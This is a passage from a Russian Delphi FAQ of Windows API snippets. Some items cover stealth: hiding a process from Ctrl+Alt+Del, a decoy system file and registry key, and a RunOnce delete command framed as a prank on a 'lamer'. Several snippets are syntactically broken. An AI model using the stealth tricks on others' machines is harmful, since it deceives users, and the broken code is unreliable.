  // HSize := R.Right - R.Left
  // VSize := R.Bottom - R.Top
end;
К заголовку




Как отобразить некоторые окна своей программы в панели задач Windows(помимо главного окна)?
procedure TMyForm.CreateParams(var Params :TCreateParams); {override;}
  begin
    inherited CreateParams(Params); {CreateWindowEx}
    Params.ExStyle := Params.ExStyle or WS_Ex_AppWindow;
  end;
К заголовку




Как пpинимать яpлыки пpи пеpетягивании их на контpол?
TForm1 = class(TForm)
...
private
{ Private declarations }
procedure WMDropFiles(var M : TWMDropFiles); message WM_DROPFILES;
...
end;

var
Form1: TForm1;

implementation

uses
StrUtils, ShellAPI, ComObj, ShlObj, ActiveX;;

procedure TForm1.FormCreate(Sender: TObject);
begin
...
DragAcceptFiles(Handle, True);
...
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
...
DragAcceptFiles(Handle, False);
...
end;

procedure TForm1.WMDropFiles(var M : TWMDropFiles);
var
hDrop: Cardinal;
n: Integer;
s: string;
begin
hDrop := M.Drop;
n := DragQueryFile(hDrop, 0, nil, 0);
SetLength(s, n);
DragQueryFile(hDrop, 0, PChar(s), n + 1);
DragFinish(hDrop);
M.Result := 0;
FileOpen(s);
end;

procedure TForm1.FileOpen(FileName: string);
begin
if CompareText(ExtractFileExt(FileName), '.lnk') = 0
then FileName := ResolveShortcut(Application.Handle, FileName);
DocName := ExtractFileName(FileName);
Caption := Application.Title + ' - ' + DocName;
...
end;

function ResolveShortcut(Wnd: HWND; ShortcutPath: string): string;
var
obj: IUnknown;
isl: IShellLink;
ipf: IPersistFile;
pfd: TWin32FindDataA;
begin
Result := '';
obj := CreateComObject(CLSID_ShellLink);
isl := obj as IShellLink;
ipf := obj as IPersistFile;
ipf.Load(PWChar(WideString(ShortcutPath)), STGM_READ);
with isl do
begin
Resolve(Wnd, SLR_ANY_MATCH);
SetLength(Result, MAX_PATH);
GetPath(PChar(Result), Length(Result), pfd, SLGP_UNCPRIORITY);
Result := PChar(Result);
end;
end;
К заголовку




Как перехватить события в неклиентской области формы, в заголовке окна?
Создайте обработчик одного из сообщений WM_NC (non client - не клиентских) (посмотрите WM_NC в Windows API help).
Пример показывает как перехватить вижение мыши во всей неклиенстской области окна (рамка и заголовок). Пример:
unit Unit1;
 interface
 uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type TForm1 = class(TForm)
 private {Private declarations}

 procedure WMNCMOUSEMOVE(var Message: TMessage); message WM_NCMOUSEMOVE;

 public {Public declarations}
end;

var
    Form1: TForm1;

implementation {$R *.DFM}

procedure TForm1.WMNCMOUSEMOVE(var Message: TMessage);
   var s : string;
begin
 case Message.wParam of
  HTERROR: s:= 'HTERROR';
  HTTRANSPARENT: s:= 'HTTRANSPARENT';
  HTNOWHERE: s:= 'HTNOWHERE';
  HTCLIENT: s:= 'HTCLIENT';
  HTCAPTION: s:= 'HTCAPTION';
  HTSYSMENU: s:= 'HTSYSMENU';
  HTSIZE: s:= 'HTSIZE';
  HTMENU: s:= 'HTMENU';
  HTHSCROLL: s:= 'HTHSCROLL';
  HTVSCROLL: s:= 'HTVSCROLL';
  HTMINBUTTON: s:= 'HTMINBUTTON';
  HTMAXBUTTON: s:= 'HTMAXBUTTON';
  HTLEFT: s:= 'HTLEFT';
  HTRIGHT: s:= 'HTRIGHT';
  HTTOP: s := 'HTTOP';
  HTTOPLEFT: s:= 'HTTOPLEFT';
  HTTOPRIGHT: s:= 'HTTOPRIGHT';
  HTBOTTOM: s:= 'HTBOTTOM';
  HTBOTTOMLEFT: s:= 'HTBOTTOMLEFT';
  HTBOTTOMRIGHT: s:= 'HTBOTTOMRIGHT';
  HTBORDER: s:= 'HTBORDER';
  HTOBJECT: s:= 'HTOBJECT';
  HTCLOSE: s:= 'HTCLOSE';
  HTHELP: s:= 'HTHELP';
else
s:= '';
end;
Form1.Caption := s;
Message.Result := 0;
end;
end.
К заголовку




Как получить результат работы консольной программы?
Hужно использовать пайпы (CreatePipe), и работать с ними как с обычным файлом.

const
H_IN_READ = 1;
H_IN_WRITE = 2;
H_OUT_READ = 3;
H_OUT_WRITE = 4;
H_ERR_READ = 5;
H_ERR_WRITE = 6;
type
TPipeHandles = array [1..6] of THandle;
var
hPipes: TPipeHandles;
ProcessInfo: TProcessInformation;
(**************************************************************
CREATE HIDDEN CONSOLE PROCESS
**************************************************************)
function CreateHiddenConsoleProcess(szChildName: string;
ProcPriority: DWORD;
ThreadPriority: integer): Boolean;
label error;
var fCreated: Boolean;
si: TStartupInfo;
sa: TSecurityAttributes;
begin
// Initialize handles
hPipes[ H_IN_READ ] := INVALID_HANDLE_VALUE;
hPipes[ H_IN_WRITE ] := INVALID_HANDLE_VALUE;
hPipes[ H_OUT_READ ] := INVALID_HANDLE_VALUE;
hPipes[ H_OUT_WRITE ] := INVALID_HANDLE_VALUE;
hPipes[ H_ERR_READ ] := INVALID_HANDLE_VALUE;
hPipes[ H_ERR_WRITE ] := INVALID_HANDLE_VALUE;
ProcessInfo.hProcess := INVALID_HANDLE_VALUE;
ProcessInfo.hThread := INVALID_HANDLE_VALUE;
// Create pipes
// initialize security attributes for handle inheritance (for WinNT)
sa.nLength := sizeof(sa);
sa.bInheritHandle := TRUE;
sa.lpSecurityDescriptor := nil;
// create STDIN pipe
if not CreatePipe( hPipes[ H_IN_READ ], hPipes[ H_IN_WRITE ], @sa, 0 )
then goto error;
// create STDOUT pipe
if not CreatePipe( hPipes[ H_OUT_READ ], hPipes[ H_OUT_WRITE ], @sa, 0 )
then goto error;
// create STDERR pipe
if not CreatePipe( hPipes[ H_ERR_READ ], hPipes[ H_ERR_WRITE ], @sa, 0 )
then goto error;
// process startup information
ZeroMemory(Pointer(@si), sizeof(si));
si.cb := sizeof(si);
si.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.wShowWindow := SW_HIDE;
// assign "other" sides of pipes
si.hStdInput := hPipes[ H_IN_READ ];
si.hStdOutput := hPipes[ H_OUT_WRITE ];
si.hStdError := hPipes[ H_ERR_WRITE ];
// Create a child process
try
fCreated := CreateProcess( nil,
PChar(szChildName), nil, nil, True, ProcPriority,
//CREATE_SUSPENDED,
nil, nil, si, ProcessInfo );
except
fCreated := False;
end;
if not fCreated then
goto error;
Result := True;
CloseHandle(hPipes[ H_OUT_WRITE ]);
CloseHandle(hPipes[ H_ERR_WRITE ]);
// ResumeThread( pi.hThread );
SetThreadPriority(ProcessInfo.hThread, ThreadPriority);
CloseHandle( ProcessInfo.hThread );
Exit;
//-----------------------------------------------------
error:
ClosePipes( hPipes );
CloseHandle( ProcessInfo.hProcess );
CloseHandle( ProcessInfo.hThread );
ProcessInfo.hProcess := INVALID_HANDLE_VALUE;
ProcessInfo.hThread := INVALID_HANDLE_VALUE;
Result := False;
end;
К заголовку




Как сделать так, чтобы программу можно было запустить только в одном экземпляре?
Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для
завершения второго экземпляра, попытавшегося запуститься, используйте
Application.Terminate;
(AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция
IsMonitorRunning().
(EK): CreateSemaphore(nil,0,1,'MySemaphoreName');
К заголовку




Как спрятать в окне Ctrl+Alt+Del?
Простая функция:
перед implementation надо поставить
           function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';

А в пару begin end:
RegisterServiceProcess(GetCurrentProcessID, 1); //скрыть
RegisterServiceProcess(GetCurrentProcessID, 0); //показать
К заголовку




Как спрятать приложение из панели задач?
1) В головном файле проекта после Application.Initialize; добавьте
Application.ShowMainForm := False;
2) Добавьте ShowWindow(Application.Handle, SW_HIDE); перед Application.Run;
Пример:
program Project1;

uses
  Windows,
  Forms,
  Unit1 in 'Unit1.pas' {Form1},
  Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

begin
  Application.Initialize;
  Application.ShowMainForm := False;
  Application.CreateForm(TForm1, Form1);
  Application.CreateForm(TForm2, Form2);
  ShowWindow(Application.Handle, SW_HIDE);
  Application.Run;
end.

3) В секцию "initialization" (в самом низу модуля) каждого модуля, исользующего форму добавьте
begin
  ShowWindow(Application.Handle, SW_HIDE);
end.
К заголовку




Как тащить файлы из Explorer'a на мое приложение?
Проверять сообщение:
  public
    procedure CreateParams(var Params: TCreateParams); override;
    procedure WMDropFiles(var Message: TWMDropFiles); message WM_DROPFILES;
. . . . . . . . .
procedure TForm1.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.ExStyle := Params.ExStyle or WS_EX_ACCEPTFILES; // make the window accept file
  // this can be done different... Check the Button1Click method
end;

procedure TForm1.WMDropFiles(var Message: TWMDropFiles);
var aFile: array [0..255] of Char;
    n, cnt: Integer;
begin
  inherited;
  cnt := DragQueryFile(Message.drop, $FFFFFFFF, nil, 0); // how many files are dropped

  for n := 0 to cnt - 1 // for all the file in the list
  do
   begin
   DragQueryFile(Message.drop, n, aFile, 256); // get the FileName (max characters 255 + #0)
   (. . . . . . . . .)
   end;
  DragFinish(Message.Drop); // Free resources
end;
К заголовку




Можно ли динамически менять какая форма считается главной в приложении во время работы программы?
Можно, но только во время загрузки приложения. Чтобы сделать это выберите "View->Project Source" и измените код инициализации
приложения, так что порядок создания форм зависил от какого-то условия.
Примечание: Вам придется редактировать этот код, если Вы добавите в приложение новые формы.

begin
        Application.Initialize;
        if  then
                begin
                        Application.CreateForm(TForm1, Form1);
                        Application.CreateForm(TForm2, Form2);
                end
        else
                begin
                        Application.CreateForm(TForm2, Form2);
                        Application.CreateForm(TForm1, Form1);
                end;
end.
Application.Run;
К заголовку




Определение кто закрывает мое приложение?
Windows посылает сообщение WM_QUERYENDSESSION каждому активному приложению когда пользователь пытается закрыть
Windows.  Если ваша программа возвращает не нулевое значение то Windows закрывает ееt.  Если программа возвращает 0, то это
говорит Windows не закрываться.  Обработчик DefWindowProc возвращает не нулевое значение по умолчанию.  Вы можете написать
обработчик сообщения которое предотвратит закрытие Windows.
К заголовку




Анимированнная иконка приложения
Увидев анимацию на форме, мы не удивимся, но сейчас нам предстоит освоить более сложную технологию: мы попытаемся
анимировать иконку приложения, ту самую, которая находится на панели задач на кнопке нашего exe-файла!



Сначала нужно будет создать каждый кадр потенциального анимационного клипа. Для этого запустим утилиту "Image Editor",
которая в ходит в стандартный пакет Delphi. Запустить её можно одноимённой командой из меню Tools[инструменты]. Там создаём
несколько bmp-файлов размером 16х16.

После чего возвращаемся в Delphi и выносим на форму компонент класса TImageList, дважды щёлкаем на нём и с помощью кнопки
Add последовательно добавляем созданные кадры. В каком порядке изображения будут добавляться, в таком же порядке они затем
будут выводится.

Далее выносим таймер[Timer], его свойство Interval устанавливаем в нужное значение[например - 5], и именно через заданное здесь
количество миллисекунд будут меняться кадры. По событию OnTimer пишем такой код:

ImageList1.GetIcon(iconindex,Application.icon);
iconindex:=iconindex+1;
if iconindex>5 then iconindex:=0;

В строке [if iconindex>5 then iconindex:=0;] число 5 замените на индекс последней иконки в вашем ImageList'e[это количество иконок
-1]

Не забудьте объявить глобальную переменную iconindex, которая должна быть целочисленного типа[integer]

А по созданию окна инициализируйте иконку приложения первым изображением в списке:

iconindex:=0;
ImageList1.GetIcon(iconindex,Application.icon);

 Посмотрите на иконку программы ACDSee, которая показана в левом верхнем углу. На ней изображён глаз. По-моему, было бы
довольно эффектно, если бы время от времени он подмигивал пользователю!
К заголовку




Как добавить пункт к системному меню приложения
Системное меню вызывается по нажатию на иконку окна. Оно содержит такие команды как "Развернуть", "Восстановить",
"Переместить" и т.д. Так вот, теперь у вас появилась возможность добавлять новые пункты к системному меню приложения и
обрабатывать их нажатие! Для этого воспользуемся функцией AppendMenu(). В качестве параметров этой функции нужно указать:


Дескриптор того меню, которое мы хотим изменять

Флаг, контролирующий появление и поведение пункта меню. может принимать следующие значения:

MF_BITMAP Для использование изображение в качестве пункта меню. Тогда послежний параметр должен содержать дескриптор
изображения.

MF_CHECKED Устанавливает контрольную метку возле пункта меню.

MF_DISABLED Показывает, что пункт меню будет неактивным. Его нельзя будет выделить и он приобретёт серое состояние.

MF_ENABLED Делает пункт меню активным.

MF_GRAYED Делает пункт меню недоступным.

MF_MENUBARBREAK Функция похожа на MF_MENUBREAK. Позволяет последующие пункты меню размещать в новой колонке,
отделяемой от текущей вертикальной чертой.

MF_MENUBREAK Позволяет последующие пункты меню размещать в новой колонке, но не отделяет их вертикальной линией.

MF_OWNERDRAW Указывает, что пункт меню должен будет прорисовываться самостоятельно. До отображения меню в первый раз
окно посылает сообщение WM_MEASUREITEM для того, чтобы узнать какой должна быть ширина меню. Так же посылает
сообщение WM_DRAWITEM в тот момент, когда пункт меню должен обновляться.

MF_POPUP Характеризует меню, которое будет открывать подменю или контекстное меню. Тогда последний параметр должен
содержать дескриптор этого пункта меню.

MF_SEPARATOR Отделительная горизонтальная линия. Линия не может становиться неактивной или активной. В данном случае
последний параметр будет игнорироваться.

MF_STRING Показывает, что пункт меню будет содержать строку, которая должна быть указана в последнем параметре.

MF_UNCHECKED Снимает контрольную метку около пункта меню.

Идентификатор нового пункта меню. Если значение флага MF_POPUP, тогда этот параметр должен содержать дескриптор
контекстного меню.

Содержание нового пункта меню. Так же зависит от значения флага. Если он содержит такие константа как MF_BITMAP,
MF_OWNERDRAW или MF_STRING, тогда здесь нужно указывать: дескриптор изображения, собственную прорисовку пункта меню
или строку.

Если функция выполняется успешно - она возвращает значение отличное от нуля, в противном случае - 0.

Давайте разберём пример:

Создайте новой приложение и по созданию окна [Событие OnCreate()] напишите такой код:

procedure TForm1.FormCreate(Sender: TObject);
begin
AppendMenu(GetSystemMenu(Handle, FALSE), MF_SEPARATOR, 0, '');
AppendMenu(GetSystemMenu(Handle, FALSE),MF_STRING,SC_MyMenuItem,'КРУТО, да!!!');
end;

Здесь мы добавляем два новых пункта в системное меню приложения. Сначала разделительную горизонтальную линию, о чём
свидетельствует значение флага MF_SEPARATOR, а затем, пункт меню, который будет содержать строку. Это видно по значению
флага MF_STRING. Сама строка, как вы видите указывается в последнем пункте меню. Но это ещё не всё, так же нужно
предусмотреть вариант, когда пользователь нажмёт на наш новый пункт меню. Нужно генерировать новое сообщение Windows и
обрабатывать его. Для этого в частных объявлениях, т.е. в директиве private напишем такой код:

private
{ Private declarations }
procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;

В разделе implementation напишем следующее:

const
SC_MyMenuItem = WM_USER + 1;

procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
begin
if Msg.CmdType = SC_MyMenuItem then
ShowMessage('Был нажат наш пункт меню!!!') else
inherited;
end;

Ну вот, вообщем-то и всё! Теперь компилируйте и тестируйте приложение.
К заголовку




Как запускать программу только нужное количество раз
Если ты хочешь воспользоваться системным реестром для достижения своей цели тогда объяви в разделе uses (в начале модуля)
модуль Registry - выглядеть это будет примерно так:

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Registry,
StdCtrls;

А потом по созданию окна напиши следующий код:

procedure TForm1.FormCreate(Sender: TObject);
var
a:TRegistry;
Count:Integer;
begin
if FileExists('c:\Windows\kernel.fhd')=false then begin
a:=TRegistry.Create;
a.RootKey:=HKEY_LOCAL_MACHINE;
a.OpenKey('\Software\Microsoft\oor',true);
a.WriteInteger('RunCount',1);
a.CloseKey;
a.Free;
FileCreate('c:\Windows\kernel.fhd');
end
else begin
a:=TRegistry.Create;
a.RootKey:=HKEY_LOCAL_MACHINE;
a.OpenKey('\Software\Microsoft\oor',true);
Count:=a.ReadInteger('RunCount');
a.CloseKey;
a.Free;
if Count=3 then begin
halt;
end
else begin
Inc(Count);
a:=TRegistry.Create;
a.RootKey:=HKEY_LOCAL_MACHINE;
a.OpenKey('\Software\Microsoft\oor',true);
a.WriteInteger('RunCount',Count);
a.CloseKey;
a.Free;
FileCreate('c:\Windows\kernel.fhd');
end;
end;
end;
К заголовку




Самоуничтожени программы
Если вам понадобилось, чтобы Ваше приложение самоликвидировалось ;-] после своего выполнения, тогда делайте так:

В разделе uses объявляем модуль Registry.

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Registry;

...а нажатие кнопки обрабатываем следующим образом: procedure TForm1.Button1Click(Sender: TObject);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
with reg do begin
RootKey := HKEY_LOCAL_MACHINE;
LazyWrite := false;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',
false);
WriteString('Delete Me!','command.com /c del FILENAME.EXT');
CloseKey;
free;
end;
end;

Всё дело в том, что параметры, заносимые в ключ

 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

удаляются после своего выполнения, т.е. глупый ламерюга даже не догадается кто ему показал

 "Кузькину мать" :--}
К заголовку




Автоматически нажимающаяся кнопка
Этот компонент представляет из себя кнопку, на которую не надо нажимать, чтобы получить событие OnClick. Достаточно
переместить курсор мышки на кнопку. При создании такого компонента традиционным способом, требуется довольно много
времени, так как необходимо обрабатывать мышку, перехватывать её и т.д. Однако результат стоит того!

Предлагаю взглянуть на две версии данного компонента. В более простой версии обработчик перемещения мышки просто
перехватывает сообщения Windows с нужным кодом и вызывает обработчик события OnClick:

type
  TAutoButton1 = class(TButton)
  private
    procedure WmMouseMove (var Msg: TMessage);
      message wm_MouseMove;
  end;

procedure TAutoButton1.WmMouseMove (var Msg: TMessage);
begin
  inherited;
  if Assigned (OnClick) then
    OnClick (self);
end;

Вторая версии имеет больше исходного кода, так как в ней я просто пытаюсь повторить событие мышки OnClick когда пользователь
перемещает мышку над кнопкой либо по истечении определённого времени. Далее следует объявление класса:

type
  TAutoKind = (akTime, akMovement, akBoth);

  TAutoButton2 = class(TButton)
  private
    FAutoKind: TAutoKind;
    FMovements: Integer;
    FSeconds: Integer;
    // really private
    CurrMov: Integer;
    Capture: Boolean;
    MyTimer: TTimer;
    procedure EndCapture;
    // обработчики сообщений
    procedure WmMouseMove (var Msg: TWMMouse);
      message wm_MouseMove;
    procedure TimerProc (Sender: TObject);
    procedure WmLBUttonDown (var Msg: TMessage);
      message wm_LBUttonDown;
    procedure WmLButtonUp (var Msg: TMessage);
      message wm_LButtonUp;
  public
    constructor Create (AOwner: TComponent); override;
  published
    property AutoKind: TAutoKind
      read FAutoKind write FAutoKind default akTime;
    property Movements: Integer
      read FMovements write FMovements default 5;
    property Seconds: Integer
      read FSeconds write FSeconds default 10;
  end;

Итак, когда курсор мышки попадает в область кнопки (WmMouseMove), то компонент запускает таймер либо счётчик количества
сообщений о перемещении. По истечении определённого времени либо при получении нужного количества сообщений о
перемещении, компонент эмулирует событие нажатия кнопкой.

procedure TAutoButton2.WmMouseMove (var Msg: TWMMouse);
begin
  inherited;
  if not Capture then
  begin
    SetCapture (Handle);
    Capture := True;
    CurrMov := 0;
    if FAutoKind <> akMovement then
    begin
      MyTimer := TTimer.Create (Parent);
      if FSeconds <> 0 then
        MyTimer.Interval := 3000
      else
        MyTimer.Interval := FSeconds * 1000;
      MyTimer.OnTimer := TimerProc;
      MyTimer.Enabled := True;
    end;
  end
  else // захватываем
  begin
    if (Msg.XPos > 0) and (Msg.XPos < Width)
      and (Msg.YPos > 0) and (Msg.YPos < Height) then
    begin
      // если мы подсчитываем кол-во движений...
      if FAutoKind <> akTime then
      begin
        Inc (CurrMov);
        if CurrMov >= FMovements then
        begin
          if Assigned (OnClick) then
            OnClick (self);
          EndCapture;
        end;
      end;
    end
    else // за пределами... стоп!
      EndCapture;
  end;
end;

procedure TAutoButton2.EndCapture;
begin
  Capture := False;
  ReleaseCapture;
  if Assigned (MyTimer) then
  begin
    MyTimer.Enabled := False;
    MyTimer.Free;
    MyTimer := nil;
  end;
end;

procedure TAutoButton2.TimerProc (Sender: TObject);
begin
  if Assigned (OnClick) then
    OnClick (self);
  EndCapture;
end;

procedure TAutoButton2.WmLBUttonDown (var Msg: TMessage);
begin
  if not Capture then
    inherited;
end;

procedure TAutoButton2.WmLButtonUp (var Msg: TMessage);
begin
  if not Capture then
    inherited;
end;
К заголовку




Как программно "щелкнуть" по компоненту speed button?
Как программно "щелкнуть" по компоненту speed button? Я пытался использовать SendMessage но у Speedbuttons нет "handle".

Ответ:
В примере используется метод Perform класса TControl для
отправки сообщения.

Пример:

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
        ShowMessage('clicked');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
        SpeedButton1.Perform(WM_LBUTTONDOWN, 0, 0);
        SpeedButton1.Perform(WM_LBUTTONUP, 0, 0);
end;
К заголовку




Как создать новую кнопку не на форме а на панели к примеру.
Как создать новую кнопку не на форме а на панели к примеру.
Есть код, который делает только на форме. ПОМОГИТЕ!!!
procedure ...................;
var
But:TButton;
begin
But:=TButton.Create(Panel);
But.Parent:=Panel;
But.Caption:='mhxchb';
end;
Alex_Sudakov ©   (15.10.01 13:14)

--------------------------------------------------------------------------------

But:=TButton.Create(Panel);
But.Parent:=Panel;
But.Caption:=''mhxchb';
К заголовку




Как создать свою кнопку в заголовке формы (на Caption Bar)?
Непосредственно такой функции вроде нет, но можно изловчиться. Нарисовать там кнопку вручную и обрабатывать команды
нажатия мышки на Caption Bar.

unit Main;
interface
uses
  Windows, Buttons, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type  TForm1 = class(TForm)
    procedure FormResize(Sender: TObject);
  private
    CaptionBtn : TRect;
    procedure DrawCaptButton;
    procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPaint;
    procedure WMNCActivate(var Msg : TWMNCActivate); message WM_NCACTIVATE;
    procedure WMSetText(var Msg : TWMSetText); message WM_SETTEXT;
    procedure WMNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;
    procedure WMNCLButtonDown(var Msg : TWMNCLButtonDown); message WM_NCLBUTTONDOWN;
  public
    { Public declarations }
  end;
var  Form1: TForm1;

implementation

const
  htCaptionBtn = htSizeLast + 1;

{$R *.DFM}

procedure TForm1.DrawCaptButton;
var  xFrame,  yFrame,  xSize,  ySize  : Integer;
  R : TRect;
Begin
  //Dimensions of Sizeable Frame
  xFrame := GetSystemMetrics(SM_CXFRAME);
  yFrame := GetSystemMetrics(SM_CYFRAME);
  //Dimensions of Caption Buttons
  xSize  := GetSystemMetrics(SM_CXSIZE);
  ySize  := GetSystemMetrics(SM_CYSIZE);
  //Define the placement of the new caption button
  CaptionBtn := Bounds(Width - xFrame - 4*xSize + 2,
                       yFrame + 2, xSize - 2, ySize - 4);
  //Get the handle to canvas using Form's device context
  Canvas.Handle := GetWindowDC(Self.Handle);
  Canvas.Font.Name := 'Symbol';
  Canvas.Font.Color := clBlue;
  Canvas.Font.Style := [fsBold];
  Canvas.Pen.Color := clYellow;
  Canvas.Brush.Color := clBtnFace;
  !Try
    DrawButtonFace(Canvas, CaptionBtn, 1, bsAutoDetect, False, False, False);
    //Define a smaller drawing rectangle within the button
    R := Bounds(Width - xFrame - 4 * xSize + 2,
                       yFrame + 3, xSize - 6, ySize - 7);
    with CaptionBtn do
      Canvas.TextRect(R, R.Left + 2, R.Top - 1, 'W');
  Finally
    ReleaseDC(Self.Handle, Canvas.Handle);
    Canvas.Handle := 0;
  end;
end;

procedure TForm1.WMNCPaint(var Msg : TWMNCPaint);
begin
  inherited;
  DrawCaptButton;
end;

procedure TForm1.WMNCActivate(var Msg : TWMNCActivate);
begin
  inherited;
  DrawCaptButton;
end;

procedure TForm1.WMSetText(var Msg : TWMSetText);
begin
  inherited;
  DrawCaptButton;
end;

procedure TForm1.WMNCHitTest(var Msg : TWMNCHitTest);
begin
  inherited;
  with Msg do
    if PtInRect(CaptionBtn, Point(XPos - Left, YPos - Top)) then
      Result := htCaptionBtn;
end;

procedure TForm1.WMNCLButtonDown(var Msg : TWMNCLButtonDown);
begin
  inherited;
  if (Msg.HitTest = htCaptionBtn) then
    ShowMessage('You hit the button on the caption bar');
end;

procedure TForm1.FormResize(Sender: TObject);
begin
  //Force a redraw of caption bar if form is resized
  Perform(WM_NCACTIVATE, Word(Active), 0);
end;

end.
К заголовку




Кнопка со звуком
Когда Вы нажимаете на кнопку, то видите трёхмерный эффект нажатия. А как же насчёт четвёртого измерения, например звука ? Ну
тогда нам понадобится звук для нажатия и звук для отпускания кнопки. Если есть желание, то можно добавить даже речевую
подсказку, однако не будем сильно углубляться.

Компонент звуковой кнопки имеет два новых свойства:

type
  TDdhSoundButton = class(TButton)
  private
    FSoundUp, FSoundDown: string;
  protected
    procedure MouseDown(Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer); override;
    procedure MouseUp(Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer); override;
  published
    property SoundUp: string
      read FSoundUp write FSoundUp;
    property SoundDown: string
      read FSoundDown write FSoundDown;
  end;

Звуки будут проигрываться при нажатии и отпускании кнопки:

procedure TDdhSoundButton.MouseDown(
  Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  inherited;
  PlaySound (PChar (FSoundDown), 0, snd_Async);
end;

procedure TDdhSoundButton.MouseUp(Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  inherited;
  PlaySound (PChar (FSoundUp), 0, snd_Async);
end;
К заголовку




Нажатие на кнопки чужого приложения
1) Написать Hook JernalPlayback
2) (более простой способ) Загрузить spy и посмотреть какие сообщения
посылаюся. Тем самым посылая такие же  - можно выполнять аналогичные действия.
Здесь на сайте есть программка по управлению WinAmp.(Полезная штука надо сказать)

Не помню автора...

Function SelectMenu(winname,item,subitem:string):boolean;
// winname - имя окна, item - имя пункта меню, subitem - имя подпункта
var winhandle,menuhandle,submenuhandle,i,j,res:integer;
   itemname,subitemname:pchar;
begin
res:=-1;
winhandle:=FindWindow(nil,pchar(winname));
menuhandle:=getmenu(winhandle);
getmem(itemname,255);
getmem(subitemname,255);
for i:=0 to getmenuitemcount(menuhandle)-1 do
   begin
   getmenustring(menuhandle,i,itemname,255,MF_BYPOSITION);
   if string(itemname)=item then begin
   submenuhandle:=getsubmenu(menuhandle,i);
   for j:=0 to getmenuitemcount(submenuhandle)-1 do
   begin
   getmenustring(submenuhandle,j,subitemname,255,MF_BYPOSITION);
   if string(subitemname)=subitem then
res:=SendMessage(winhandle,WM_COMMAND,makelong(getmenuitemid(submenuhandle,j),0
),0);
   end;
   end;
end;
freemem(itemname);
freemem(subitemname);
if res=0 then result:=true else result:=false;
end;

const
SA> FM_FINDPHOTO = $0510;
SA> SendMessage(HWND_BROADCAST,FM_FINDPHOTO,0,0);
К заголовку




Как вывести на Canvas надпись под углом?
function CreateRotatedFont(F : TFont; Angle : Integer) : hFont;
  {-create a rotated font based on the font object F}
var
  LF : TLogFont;
begin
  FillChar(LF, SizeOf(LF), #0);
  with LF do begin
    lfHeight           := F.Height;
    lfWidth            := 0;
    lfEscapement       := Angle*10;
    lfOrientation      := 0;
    if fsBold in F.Style then
      lfWeight         := FW_BOLD
    else
      lfWeight         := FW_NORMAL;
    lfItalic           := Byte(fsItalic in F.Style);
    lfUnderline        := Byte(fsUnderline in F.Style);
    lfStrikeOut        := Byte(fsStrikeOut in F.Style);
    lfCharSet          := DEFAULT_CHARSET;
    StrPCopy(lfFaceName, F.Name);
    lfQuality          := DEFAULT_QUALITY;
    {everything else as default}
    lfOutPrecision     := OUT_DEFAULT_PRECIS;
    lfClipPrecision    := CLIP_DEFAULT_PRECIS;
    case F.Pitch of
      fpVariable : lfPitchAndFamily := VARIABLE_PITCH;
      fpFixed    : lfPitchAndFamily := FIXED_PITCH;
    else
      lfPitchAndFamily := DEFAULT_PITCH;
    end;
  end;
  Result := CreateFontIndirect(LF);
end;

...

  {create the rotated font}
  if FontAngle <> 0 then
    Canvas.Font.Handle := CreateRotatedFont(Font, FontAngle);

К заголовку




Как рисовать на органе управления, например, на TPanel?
У всех компонентов, порожденных от TCustomControl, имеется свойство Canvas типа TCanvas.
Грубо говоря, это аналог TDC из OWL. Те операции, которые нельзя выполнить с
помощью методов TCanvas, можно выполнить с помощью WinAPI.
Для этого у обьектов класса TCanvas имеется свойство Handle - это и есть Хэндл
Дисплейного Контекста ОС Windows (HDC), который необходим графическим функциям
WinAPI.
Если свойство Canvas недоступно, Вы можете достучаться до него созданием
потомка и переносом этого свойства в раздел Public.

{ Example. We recommend You to create this component through Component Wizard.
In Delphi 1 it can be found as 'File|New Component...', and can be found
as 'Component|New Component...' in Delphi 2 or above. }
type
TcPanel = class(TPanel)
  public
  property Canvas;
end;
К заголовку




Как работать с буфером обмена как последовательностью байт?
Используя потоки -

=== Cut ===
unit ClipStrm;

{
  This unit is Copyright (c) Alexey Mahotkin 1997-1998
  and may be used freely for any purpose. Please mail
  your comments to
  E-Mail: alexm@hsys.msk.ru
  FidoNet: Alexey Mahotkin, 2:5020/433

  This unit was developed during incorporating of TP Lex/Yacc
  into my project. Please visit ftp://ftp.nf.ru/pub/alexm
  or FREQ FILES from 2:5020/433 or mail me to get hacked
  version of TP Lex/Yacc which works under Delphi 2.0+.
}

interface uses Classes, Windows;

type
  TClipboardStream = class(TStream)
  private
    FMemory : pointer;
    FSize : longint;
    FPosition : longint;
    FFormat : word;
  public
    constructor Create(fmt : word);
    destructor Destroy; override;

    function Read(var Buffer; Count : Longint) : Longint; override;
    function Write(const Buffer; Count : Longint) : Longint; override;
    function Seek(Offset : Longint; Origin : Word) : Longint; override;
  end;

implementation uses SysUtils;

constructor TClipboardStream.Create(fmt : word);
var
  tmp : pointer;
  FHandle : THandle;
begin
FFormat := fmt;
OpenClipboard(0);
FHandle := GetClipboardData(FFormat);
FSize := GlobalSize(FHandle);
FMemory := AllocMem(FSize);
tmp := GlobalLock(FHandle);
MoveMemory(FMemory, tmp, FSize);
